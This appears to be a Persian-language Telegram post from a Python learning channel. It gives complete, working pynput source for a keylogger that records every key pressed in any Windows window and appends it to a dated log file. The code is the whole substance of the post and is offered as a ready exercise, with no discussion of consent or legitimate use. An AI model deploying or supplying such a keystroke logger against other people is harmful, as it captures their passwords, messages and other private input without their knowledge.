📌 عنوان برنامه: برنامه‌ای بنویسید که اگر در هر پنجره ویندوز، دکمه‌های را بزنیم، در فایلی به نام keys.log آن‌را ذخیره نماید؟

# **************************************************
# pip install pynput
# **************************************************
from pynput import keyboard
from datetime import datetime

filename = "keys"


def on_press(key):
now = datetime.now()
formated_now = now.strftime("%Y_%m_%d")
pathname = f"{filename}_{formated_now}.log"
with open(file=pathname, mode="a", encoding="utf-8") as file:
try:
if hasattr(key, "char"):
file.write(key.char)
elif key == keyboard.Key.enter:
file.write("[ENTER]\n")
elif key == keyboard.Key.space:
file.write(" ")

elif key == keyboard.Key.esc:
file.write("[ESCAPE]")
elif key == keyboard.Key.delete:
file.write("[DELETE]")
elif key == keyboard.Key.backspace:
file.write("[BACKSPACE]")

elif key == keyboard.Key.end:
file.write("[END]")
elif key == keyboard.Key.home:
file.write("[HOME]")

elif key == keyboard.Key.up:
file.write("[UP]")
elif key == keyboard.Key.down:
file.write("[DOWN]")
elif key == keyboard.Key.left:
file.write("[LEFT]")
elif key == keyboard.Key.right:
file.write("[RIGHT]")

elif key == keyboard.Key.page_up:
file.write("[PAGE_UP]")
elif key == keyboard.Key.page_down:
file.write("[PAGE_DOWN]")
except:
pass


with keyboard.Listener(on_press=on_press) as listener:
listener.join()
# **************************************************

#SourceCode #SourceCode10011
کانال پایتون:
@DT_PYTHON_LEARNING
ادمین:
@Dariush_Tasdighi
کانال اصلی:
@IranianExperts
.
👍21